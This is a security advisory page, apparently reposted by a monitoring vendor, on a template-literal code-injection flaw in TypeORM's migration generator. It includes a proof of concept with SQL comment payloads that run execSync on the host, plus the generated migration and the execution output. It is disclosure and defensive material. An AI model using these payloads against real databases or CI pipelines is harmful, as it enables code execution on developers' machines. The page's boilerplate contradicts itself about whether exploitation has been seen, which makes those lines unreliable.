Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-2rp8-mm9q-fp49
No affected components available
Summary
typeorm migration:generate embeds database schema metadata into JS/TS template literals, escaping backticks but not ${...}. An attacker who can write schema metadata (column comments, defaults, view definitions) achieves arbitrary code execution on the host that loads the generated migration.
Details
MigrationGenerateCommand.ts (L117-138) wraps each SQL statement in a JS template literal, escaping only backticks:
" await queryRunner.query(`" +
upQuery.query.replaceAll("`", "\\`") +
"`" + ...
Introspected schema strings reach this sink through driver query runners:
| Driver | Metadata source | Source |
|---|---|---|
| Postgres | column DEFAULT, COMMENT, CHECK constraints, view definitions | PostgresQueryRunner.ts:1782, L1898, L2287, L4125 |
| MySQL/MariaDB | COLUMN_DEFAULT, COLUMN_COMMENT | MysqlQueryRunner.ts:2873-2974, L3580-3583 |
| CockroachDB | Same patterns as Postgres | CockroachQueryRunner.ts |
escapeComment() on each driver strips only null bytes, leaving ${...} intact:
protected escapeComment(comment?: string) {
if (!comment) return comment
comment = comment.replaceAll("\u0000", "")
return comment
}
When the migration file is loaded (migration:run, import, or require), the JS engine evaluates ${...} as live interpolation.
Affected source:
| File | Lines | Role |
|---|---|---|
| MigrationGenerateCommand.ts | 117-138 | Template-literal construction (sink) |
| PostgresDriver.ts | 1886-1891 | escapeComment() — Postgres |
| MysqlDriver.ts | 1322-1328 | escapeComment() — MySQL |
| CockroachDriver.ts | 1236-1241 | escapeComment() — CockroachDB |
Confirmed injection vectors (MySQL):
| Vector | Result | Notes |
|---|---|---|
| Column COMMENT | Confirmed | Proven in PoC below |
| Column DEFAULT | Confirmed | Attacker sets ALTER TABLE ... DEFAULT '${...}'; payload appears in generated migration |
| CHECK constraint | Not exploitable | MySQL information_schema.CHECK_CONSTRAINTS strips content from CHECK_CLAUSE |
| View definitions | Not tested | Requires PostgreSQL ViewEntity introspection; likely exploitable via pg_get_viewdef() |
Suggested fix: Escape ${ to \${ (and \\ to \\\\) before embedding query strings into template literals, or switch to emitting the SQL as a JSON.stringify()-encoded regular string argument.
PoC
Prerequisites:
- Any supported RDBMS (PostgreSQL, MySQL, MariaDB, CockroachDB, SQL Server, Oracle, SAP HANA, or Spanner) accessible to the developer running
migration:generate - The attacker has DDL/write access to the database, or the application exposes a feature allowing users to set column
COMMENT,DEFAULT, or view definition text
Steps:
- Inject payload into schema metadata. Set a column comment or default containing
${...}:
-- PostgreSQL
COMMENT ON COLUMN users.name IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';
-- MySQL
ALTER TABLE users MODIFY COLUMN name VARCHAR(255) COMMENT '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';
- Run migration generation on the developer/CI machine:
npx typeorm migration:generate -d ./data-source.ts ./migrations/NextMigration
- Inspect the generated file. The output
.tsfile contains unescaped${...}:
export class NextMigration1234567890 implements MigrationInterface {
public async up(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(
`COMMENT ON COLUMN "users"."name" IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}'`,
);
}
// ...
}
- Run or revert the migration:
npx typeorm migration:revert -d ./data-source.ts
Output confirms code execution — id ran on the host and its output was interpolated into the SQL:
ALTER TABLE `user` CHANGE `name` `name` varchar(255) NULL COMMENT 'uid=501(user) gid=20(staff) groups=20(staff),12(everyone),...'
The payload appears in whichever migration direction restores the DB's current state. A malicious DB comment with a clean entity comment places it in down(). Attacker-influenced entity metadata places it in up(). Either direction executes the code when the method runs.
Impact
Code injection / RCE. An attacker with DB schema write access executes arbitrary JavaScript on any machine that generates and loads the migration. This crosses the DB-to-host trust boundary.
CI/CD pipelines that auto-generate and run migrations are the highest-risk target. Any TypeORM user running migration:generate against a database with attacker-influenced schema metadata is affected.
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker needs high-level or administrative privileges. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard